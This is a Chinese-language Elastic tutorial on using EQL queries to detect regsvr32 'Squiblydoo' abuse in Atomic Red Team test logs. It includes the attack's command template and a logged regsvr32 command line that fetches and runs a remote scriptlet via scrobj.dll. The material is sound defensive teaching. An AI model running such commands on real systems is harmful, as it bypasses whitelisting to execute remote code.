示例:使用 EQL 检测威胁

编辑

示例:使用 EQL 检测威胁

编辑

本示例教程演示了如何使用 EQL 检测安全威胁和其他可疑行为。在本场景中,您的任务是检测 Windows 事件日志中的regsvr32 滥用

regsvr32.exe 是 Windows 中用于注册 .dll 库的内置命令行实用程序。作为本机工具,regsvr32.exe 具有可信状态,使其能够绕过大多数白名单软件和脚本阻止程序。具有用户命令行访问权限的攻击者可以使用 regsvr32.exe 通过 .dll 库运行恶意脚本,即使在通常不允许此类脚本的机器上也是如此。

regsvr32 滥用的一种常见变体是Squiblydoo 攻击。在 Squiblydoo 攻击中,regsvr32.exe 命令使用 scrobj.dll 库来注册和运行远程脚本。这些命令通常如下所示

"regsvr32.exe  /s /u /i:<script-url> scrobj.dll"

设置

编辑

本教程使用来自Atomic Red Team 的测试数据集,其中包含模拟 Squiblydoo 攻击的事件。数据已映射到Elastic 通用架构 (ECS) 字段。

开始操作

  1. 使用索引模板启用数据流

    resp = client.indices.put_index_template(
        name="my-data-stream-template",
        index_patterns=[
            "my-data-stream*"
        ],
        data_stream={},
        priority=500,
    )
    print(resp)
    response = client.indices.put_index_template(
      name: 'my-data-stream-template',
      body: {
        index_patterns: [
          'my-data-stream*'
        ],
        data_stream: {},
        priority: 500
      }
    )
    puts response
    const response = await client.indices.putIndexTemplate({
      name: "my-data-stream-template",
      index_patterns: ["my-data-stream*"],
      data_stream: {},
      priority: 500,
    });
    console.log(response);
    PUT /_index_template/my-data-stream-template
    {
      "index_patterns": [ "my-data-stream*" ],
      "data_stream": { },
      "priority": 500
    }
  2. 下载normalized-T1117-AtomicRed-regsvr32.json
  3. 使用批量 API 将数据索引到匹配的流中

    curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  4. 使用cat indices API 验证数据是否已索引

    resp = client.cat.indices(
        index="my-data-stream",
        v=True,
        h="health,status,index,docs.count",
    )
    print(resp)
    response = client.cat.indices(
      index: 'my-data-stream',
      v: true,
      h: 'health,status,index,docs.count'
    )
    puts response
    const response = await client.cat.indices({
      index: "my-data-stream",
      v: "true",
      h: "health,status,index,docs.count",
    });
    console.log(response);
    GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count

    响应应显示 docs.count150

    health status index                                 docs.count
    yellow open   .ds-my-data-stream-2099.12.07-000001         150

获取 regsvr32 事件的数量

编辑

首先,获取与 regsvr32.exe 进程关联的事件数量

resp = client.eql.search(
    index="my-data-stream",
    filter_path="-hits.events",
    query="\n    any where process.name == \"regsvr32.exe\"                \n  ",
    size=200,
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  filter_path: "-hits.events",
  query: '\n    any where process.name == "regsvr32.exe"                \n  ',
  size: 200,
});
console.log(response);
GET /my-data-stream/_eql/search?filter_path=-hits.events    
{
  "query": """
    any where process.name == "regsvr32.exe"                
  """,
  "size": 200                                               
}

?filter_path=-hits.events 从响应中排除 hits.events 属性。此搜索仅用于获取事件数量,而不是匹配事件的列表。

匹配任何 process.nameregsvr32.exe 的事件。

返回最多 200 个匹配事件的命中结果。

响应返回 143 个相关事件。

{
  "is_partial": false,
  "is_running": false,
  "took": 60,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 143,
      "relation": "eq"
    }
  }
}

检查命令行工件

编辑

regsvr32.exe 进程与 143 个事件相关联。但 regsvr32.exe 最初是如何调用的?谁调用的?regsvr32.exe 是一个命令行实用程序。将结果缩小到使用命令行的进程

resp = client.eql.search(
    index="my-data-stream",
    query="\n    process where process.name == \"regsvr32.exe\" and process.command_line.keyword != null\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    process where process.name == "regsvr32.exe" and process.command_line.keyword != null\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  """
}

查询匹配一个 event.typecreation 的事件,表示 regsvr32.exe 进程的开始。根据事件的 process.command_line 值,regsvr32.exe 使用 scrobj.dll 注册了一个脚本 RegSvr32.sct。这符合 Squiblydoo 攻击的行为。

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": ".ds-my-data-stream-2099.12.07-000001",
        "_id": "gl5MJXMBMk1dGnErnBW8",
        "_source": {
          "process": {
            "parent": {
              "name": "cmd.exe",
              "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
              "executable": "C:\\Windows\\System32\\cmd.exe"
            },
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
            "executable": "C:\\Windows\\System32\\regsvr32.exe",
            "ppid": 2652
          },
          "logon_id": 217055,
          "@timestamp": 131883573237130000,
          "event": {
            "category": "process",
            "type": "creation"
          },
          "user": {
            "full_name": "bob",
            "domain": "ART-DESKTOP",
            "id": "ART-DESKTOP\\bob"
          }
        }
      }
    ]
  }
}

检查恶意脚本加载

编辑

检查 regsvr32.exe 是否随后加载了 scrobj.dll

resp = client.eql.search(
    index="my-data-stream",
    query="\n    library where process.name == \"regsvr32.exe\" and dll.name == \"scrobj.dll\"\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  """
}

查询匹配一个事件,确认加载了 scrobj.dll

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": ".ds-my-data-stream-2099.12.07-000001",
        "_id": "ol5MJXMBMk1dGnErnBW8",
        "_source": {
          "process": {
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "executable": "C:\\Windows\\System32\\regsvr32.exe"
          },
          "@timestamp": 131883573237450016,
          "dll": {
            "path": "C:\\Windows\\System32\\scrobj.dll",
            "name": "scrobj.dll"
          },
          "event": {
            "category": "library"
          }
        }
      }
    ]
  }
}

确定成功的可能性

编辑

在许多情况下,攻击者使用恶意脚本连接到远程服务器或下载其他文件。使用EQL 序列查询 检查以下事件序列

  1. 一个 regsvr32.exe 进程
  2. 同一进程加载 scrobj.dll
  3. 同一进程的任何网络事件

根据先前响应中看到的命令行值,您可以预期会找到匹配项。但是,此查询并非针对该特定命令而设计。相反,它寻找一种足够通用的可疑行为模式来检测类似的威胁。

resp = client.eql.search(
    index="my-data-stream",
    query="\n    sequence by process.pid\n      [process where process.name == \"regsvr32.exe\"]\n      [library where dll.name == \"scrobj.dll\"]\n      [network where true]\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    sequence by process.pid\n      [process where process.name == "regsvr32.exe"]\n      [library where dll.name == "scrobj.dll"]\n      [network where true]\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    sequence by process.pid
      [process where process.name == "regsvr32.exe"]
      [library where dll.name == "scrobj.dll"]
      [network where true]
  """
}

查询匹配一个序列,表明攻击可能成功。

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "sequences": [
      {
        "join_keys": [
          2012
        ],
        "events": [
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "gl5MJXMBMk1dGnErnBW8",
            "_source": {
              "process": {
                "parent": {
                  "name": "cmd.exe",
                  "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
                  "executable": "C:\\Windows\\System32\\cmd.exe"
                },
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
                "executable": "C:\\Windows\\System32\\regsvr32.exe",
                "ppid": 2652
              },
              "logon_id": 217055,
              "@timestamp": 131883573237130000,
              "event": {
                "category": "process",
                "type": "creation"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              }
            }
          },
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "ol5MJXMBMk1dGnErnBW8",
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573237450016,
              "dll": {
                "path": "C:\\Windows\\System32\\scrobj.dll",
                "name": "scrobj.dll"
              },
              "event": {
                "category": "library"
              }
            }
          },
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "EF5MJXMBMk1dGnErnBa9",
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573238680000,
              "destination": {
                "address": "151.101.48.133",
                "port": "443"
              },
              "source": {
                "address": "192.168.162.134",
                "port": "50505"
              },
              "event": {
                "category": "network"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              },
              "network": {
                "protocol": "tcp",
                "direction": "outbound"
              }
            }
          }
        ]
      }
    ]
  }
}